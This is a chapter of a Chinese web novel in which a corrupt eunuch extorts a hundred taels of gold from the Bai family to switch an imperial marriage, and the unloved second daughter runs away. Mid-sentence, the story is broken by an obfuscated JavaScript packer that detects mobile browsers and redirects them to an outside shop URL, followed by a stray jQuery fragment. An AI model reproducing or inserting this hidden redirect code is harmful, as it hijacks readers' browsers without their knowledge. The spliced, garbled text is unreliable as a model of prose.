周公公虽举圣旨,却是睁眼道着瞎话。
圣上口谕,只说赐婚白家庶女,并未点名哪个,是他故意扯的谎。
许亲受宠的女娘,家人定是要闹的,却又不敢违抗圣命,闹到最好的结果,不过是换亲给不受宠的女娘。
换亲是件麻烦事,且不说劳心劳力,更是顶着欺君的风险。若想成功换亲,犒劳费可不能少。
周公公这厢卷起圣旨,见白周氏直直跪着,茫然望他:“回公公话,圣旨中的白蓉之,可指的我家小女?”
周公公哼笑一声:“不然呢,还能是我家小女?”
不知白蓉之听没听见,就见她望着地面目色怔怔,瞧不出情绪。
白笙之与张嬷嬷稍一对视,两人皆如坐云雾。
连素来张扬的白老太,此刻面色都是喜忧参半。
喜自然因为,自家孙女如她所愿,嫁给了富余老男人。
忧则大于喜。
因那富余老男人不是别人,而是传闻中的闲郡王。
便是白老太足不出户,白周氏亦经年陪她赖在府中,两人在偶尔出去耍桥牌时,都能听得闲郡王的臭名。
说闲郡王是天煞孤星,二十二年前先皇暴毙,便是被他无端克死的。
当年太子,如今圣上,虽对这个弟弟疼爱至极,却也忍痛将他沉棺活埋,为先皇陪葬。
却不想,他竟在死去十年后,从皇陵里爬了出来!
传言显然添油加醋,断不能如此夸张。
可无风不起浪。
闲郡王定是个命里带煞的,否则也不会孤寡整三十年。
可这与白家有何干系?
纵是煞星,那也是闲郡王,仅一个“王”字足够翻云覆雨。
而白家籍籍无名。
白家有不识字的,不体面的,不自立的,不上进的。
没有不精明的。
连大字不识的白老太也能即刻明白,这道圣旨看似天降馅饼,实则诡谲暗涌。
寒门配皇族?
何啻天壤!
一时间,厅内无声。
周公公俯眼去,对每个人的表情都甚是满意。
果然,在听到闲郡王三个字时,人人都笑不出来。
他假意神游,静等着白家主母提出质疑。
白周氏本就慌乱,偏头见白笙之满面苍白,更是焦心不已,忙去拽白老太的衣袖。
白老太转身回望,婆媳二人皆稍显无措。
虽说这事与白笙之无甚瓜葛,可她却不知哪根筋搭错,忧心道:“回公公话,这…这其中可有误会?”
周公公稍一愣神。
未曾想最先替白蓉之出头的,竟是换嫁的另一方。
“白二小姐,怀疑杂家是个冒牌货?”
他耿着脖颈悠悠道,
“小的们,给二小姐瞧瞧杂家的玺印!”
“不不不,公公误会了!”
白笙之忙解释,“我…民女并非质疑公公身份,民女只是,只是觉得……”
“觉得什么?”
周公公不耐蹙眉,“能得圣上赐婚,是你白家吉人天相,可瞧你们一个个哭丧的脸,难道想抗旨不成?”
末了云淡风轻道,“胆敢抗旨?斩了便是!”
这话说的底气十足,余音绕梁,话毕便见白蓉之两眼一翻,晕了过去。
吓得白周氏赫然尖叫,忙把白蓉之搂在怀里,连声唤她的乳名。
可白蓉之没有睁眼的迹象,嘴巴大张,鼻翼紧缩,一动不动。
似是没了呼吸。
白周氏忐忑探上白蓉之的鼻息,随即一脸呆滞,虚浮道:“没,没气儿了……”
白老太跪在旁远处痴痴发愣,嘴稍张着,手足无措。
却见张嬷嬷蹭一声起身,利落向白蓉之扑去,白笙之紧随其后跟了过去。
张嬷嬷一把掐上白蓉之的人中,白笙之摸上白蓉之的大腿,寻到内侧软肉用力一拧。
“嗷——!”
白蓉之骤然哀嚎出声,拱起身大口喘气,终是把这口气顺了过来。
白周氏早已吓出清泪,又哭又笑地抱紧宝贝疙瘩,音色发着颤:“乖蓉儿,你莫要如此吓娘,娘承受不起啊!”
瘫在娘亲怀里,被众人团团环绕的白蓉之,盯着天花板面色空洞,干巴巴哭了两声,虚音道:“我不活了。”
音量实小,连靠她最近的白周氏都听不清,俯耳问:“蓉儿,你说什么?”
“我说……”
白蓉之静着静着,眼尾滑落一滴清泪,忽而发出惊天咆哮,
“我不活啦——!”
音色之狂放,吓得满屋子人颤了颤肩,连周公公都不免打了哆嗦。
凝滞一旁的白老太也被她吓回了魂儿,忙凑了过去,狠狠将白笙之扒拉一边,抚上白蓉之的手关切道:“好蓉儿,怎能如此想不开?死不得哟!”
死了还怎么嫁?
不嫁怎么收聘礼?
白蓉之不应白老太,看着自家娘亲鬼哭狼嚎道,“娘,你可知闲郡王是个猥琐油腻的秃顶王爷,眼睛比眉毛细,脖子比老腰粗,一条腿上全是褥疮,另一条腿被血蛭咬得只剩骨头!”
唬得白周氏不知所措,嗫喏回:“这,这是从哪儿听的?”
“塾里的女娘都这般传!”
白蓉之哭出了鼻涕泡,“若不嫁给他会死,我不如眼下便死!”
说罢环视一瞬,目色定在一根花里胡哨的金柱子上,推开白周氏,决然道:“娘,恕孩儿先走一步,咱们来世再做母女吧!”
随即直奔柱子冲了过去!
她速度极快,可张嬷嬷与白笙之却是更快,当即追过去,一左一右拽住她的胳膊,生生把人拽了回来。
郑嬷嬷也扑了过去,三人将白笙之牢牢禁锢中间。
白蓉之一边试图冲破禁锢,一边卖力吼:“都别碰我!让我死,让我死吧!”
“蓉儿,你这是做什么!”
慢一步起身的白周氏遂也哭得惊天动地,死死抱住白蓉之,
“你若想死,娘跟你一起!”
“哇——娘——”
见母女俩齐齐喊破了喉咙,周公公瞠目结舌。
莫名其妙的,怎就寻上死了?
他不耐看向白家主母,白老太确实也想解围,但母女俩没个理她的,兀自嚎叫得欢。
还听白周氏唤下人去取白绫,今日就要吊死在这。
周公公太阳穴突突地跳。
他只想快点拿钱走人,遂不悦道:“行了行了,都别嚎了,杂家有办法不让她嫁!”
张嬷嬷将这话听个真切,忙大声安慰:“夫人,四姑娘,周公公落话了,说咱们不用嫁了!”
哭声可谓眨眼消失,众人的耳根终得清净。
母女俩依旧小声抽泣着,张嬷嬷贴身哄着她们。
白老太浊眼转了一圈,茫然问:“公公这话的意思是?”
“字面意思。”
周公公直言,“杂家不是什么牛气的官儿,不过是个传话的,自然不能违抗圣旨。不过,杂家可以做另一件事。”
“何事?”白周氏忧心如焚。
“换嫁。”
堂内静了一瞬。
这一瞬,白笙之霎时涌起不祥的预感。
她眉头微蹙,不解看向周公公,重复道:“换嫁?”
“是咯。”
周公公本能回望白笙之,却在与她目色汇聚时,没来由的,汗毛都竖了起来。
他心虚移开目光,望向白老太,语气轻促了些:“白家女娘有二,究竟嫁谁,可私下商量。”
白老太面生迟疑,瞥了白笙之一眼,不确信道:“公公所言,嫁是定要嫁的,只是,不一定谁嫁过去?”
“当然。”
周公公干嗽一声,“不过,这需要杂家从中调和。所谓调和,也是需要付出的。”
白老太愣愣眨着眼:“付出什么?”
惹得周公公无语地腹诽,这老婆子怎如此豆渣脑筋?
寒门就是寒门,一群蠢蛋!
他只好挑明了话:“便是要打点礼部一脉,为帮着换嫁的官爷们,分些犒劳的小费。”
这下所有人都听个明白,白笙之与张嬷嬷更是瞬间悟透其中猫腻,心里几分怫怒。
白周氏却是个狂喜的,急切追问:“需要多少,您只管说便是!”
终于上道了。
周公公暗想,他原本只想要上几十两打打牙祭,却觉得自己在这屋受到了精神凌虐,要添些损失费才是。
便狮子大开口。
“一百两,黄金。”
“什么?”
白老太惊得大张着嘴,亮出一口闪烁的金牙,“怎会这么多?”
白周氏也吓了一跳,那可是百两黄金呐!够她买上几年的保养品了!
但她强迫自己冷静,脑子极速转,半晌打破寂静,再次发出惊天动地的哭喊,
“郑嬷嬷,还等什么?把白绫取来,该死还是得死!”
说罢狠狠掐着白蓉之的胳膊,朝她挤眉弄眼。
白蓉之会了意,也跟着哀嚎起来,破着音喊:“郑嬷嬷,把我的白绫也拿来,我与娘亲共赴黄泉!”
眼瞧着母女俩又开始闹,白老太又开始踟蹰不定,周公公彻底失了耐心,冷声道:“杂家时间不多,先去车里候着了!仅给你们一炷香取金,过时不候,该谁嫁便是谁嫁!”
随即带着一众小官,头也不回疾步而去。
等周公公一行人消失,白周氏拉着白蓉之噗通跪在白老太脚边,泣不成声道:“主母,您得为蓉儿做主啊!”
白老太被母女俩不依不饶拽着裙摆,不禁一个头两个大。
自从听得换嫁需要百两黄金,她就觉得这门亲事挺好的,不换也成。
于是道:“蓉儿,那可是王爷啊,还是个老王爷,肯定很疼人的!”
白蓉之听罢哭之更甚,怜怜望向娘亲,见白周氏并不惊慌,似是想好了对策之法。
只听白周氏音色发沉:“主母,若您同意换嫁,您的夙愿便实现了!”
“老身的夙愿?”白老太还糊涂着。
“是!”
白周氏愤然站起身,伸长手臂直指白笙之,狠厉道,“您昨日不是说,要给那孽畜许个最为糟粕的老头子,将她好生调教一番?”
白笙之眸色瞬诧,茫然且难以置信地望向白老太。
眼见白老太连眨黄浊的双眼:“对啊,那又——”
她忽而顿住了。
望向白笙之,意味不明。
白蓉之也不再闹,默默站起身察
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14240561|150742||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
言观色。
又听白周氏道:“机会便就来了!若说天下间谁能配得上那煞星王爷,也就咱家这位二十多岁还未出阁的丑陋孽畜!”
白老太不作应,望向白笙之时,面色竟几分茫然。
气氛诡异如斯。
白笙之决然想不到事情会如此发展,她的面色凌厉,但音色微颤 ,手指也颤。
她道:“眼下是窝里横的时候?明明该一致对外!”
白周氏当即冷笑:“一致对外?谁跟你是一致的?”
白笙之哽住一瞬,生生压住满心怒火,转而望向白老太,坚毅道:“您心里明白,这场赐婚无缘无故,便是我白家再过卑微,也不当如此逆来顺受,该当一探究竟才是!”
白老太微变了面色,眼底浮出浅显的犹疑,被白周氏敏感捕捉。
后者急火攻心,向白笙之尖锐吼道:“什么一探究竟?少做梦了!违抗圣旨是要杀头的!”
“绝无可能!”
白笙之沉声反驳,“莫要听周公公胡言乱语,他是个从中贪索的,不过说重话吓唬咱们而已!”
白老太拧起眉:“贪索?”
“没错!”
白笙之有理有据道,“他方才居然唤我二小姐!可我们未曾谋面,应是他早就做足了调查!”
白周氏母女并没有听白笙之在讲什么,只专注观察白老太的表情。
后者像是内心在动摇。
那厢白笙之兀自道:“所谓的换嫁,不过就是周公公为了求财而已!既然他敢明目张胆行贿,这所谓的圣旨也定有蹊跷!大家莫怕,听我的便是,只要我们把他——”
“闭嘴!”
忽而听白蓉之激动地打断白笙之,发颤的手指直指向她,勃然怒吼:“贱人,贱人!你凭什么在这高谈阔论?”
这一嗓惊默了众人,白笙之更是满面愕然。
白蓉之见白老太也在看她,遂声嘶力竭:
“白笙之,你不过是没爹疼没娘爱的丑八怪,整日赖在柴房无所事事,有什么脸皮装清高?我告诉你,替我嫁过去是你的荣幸,你该跪着谢我才是,是我让你一无是处的人生有了一丁点儿价值!”
不等白笙之回应,白周氏的附和紧随其后:“若没有主母含辛茹苦将你养大,你早不知死哪去了!却在这蛊惑主母听信你的谗言抵抗圣旨!叫白家上下三十几口人为你陪葬!”
又听白蓉之补充:“你和你那狐媚子母亲一样,都不希望我们白家好过,都是来造孽的!”
这番话说得白笙之耳畔嗡鸣不止,目色模糊空洞,脑内天旋地转。
心中一片茫然。
也说得白老太彻底不再动摇,收敛茫然与犹豫,冷声道,“说得好!”
她死死盯着白笙之,眼含阴森笑意,
“老身也是个想不开的,单以为百两黄金很多,再仔细想想,不过就是我儿两个月的俸禄!”
她似是幡然醒悟。
“一想到这几个子儿便能换你苦不堪言,甚至可能苦着苦着就死了,我这心啊,怎么就这般畅快舒爽呢?”
望着白老太狰狞的笑,白笙之只觉脱力,恍惚后跌一步,张嬷嬷勉强扶住了她。
白周氏母女却轻盈舒一口气,放下心来。
白周氏发自内心道一句:“主母所言极是!”
白蓉之也展开会心的笑颜,攀上白老太的手臂,娇滴滴道:“阿奶果然深明大义,是天下最好的阿奶!”
白老太笑的餍足。
又听白周氏赔笑道:“主母,方才周公公所言,唯有一炷香时间等候,您需去账房取金,给公公全数送过去才行!”
白老太正激昂着,爽朗道:“好,好!取金去,取金去!”
白周氏与白蓉之并随白老太去了,郑嬷嬷堪堪跟在后头,一时间,厅内只剩下白笙之与张嬷嬷,倏然静了下来。
白笙之仍僵似人偶,张嬷嬷百感交集,叹着气思索解法,这时见一娇小身影自屏风后现身,竟是怜月。
她许是偷听了全程,一脸恐慌地冲进来,见白笙之面色游离,向张嬷嬷道:“嬷嬷,二小姐可怎么办呀?”
张嬷嬷脑中也乱,却是一咬牙道:“跑!”
怜月:“好!”
一老一小拉起白笙之的手撒腿便跑,向下人专用的小偏门抛去,途中被几个跟在郑嬷嬷身边的小丫鬟瞧见了。
伫立小门边缘,张嬷嬷急问:“你存的钱可在身上?”
“钱?”
白笙之迟缓片刻,发出自己都听不清的声音,“哦,在,在我身上。”
“成!”
张嬷嬷狠狠推了白笙之一把,将她推出门外,急切道,“别犹豫了,跑!”
立在枯叶满地,空无一人的羊肠小路中间,白笙之望向一老一小,眸色闪烁不停。
似是脆弱,似是茫然。
怜月含着泪道:“二小姐,等下次见面,我再把东西还给您!”
“跑呀!”
张嬷嬷满眼火急火燎。
这时听白府里传来郑嬷嬷的诉状:“来人呐,二小姐逃婚了,二小姐逃婚了!”
白笙之终得回神,最后望了张嬷嬷与怜月一眼,毫无犹豫转身而去。
凌冽的寒啸穿街拂过,一朝枯叶卷起又落,消瘦的身影很快消失无踪。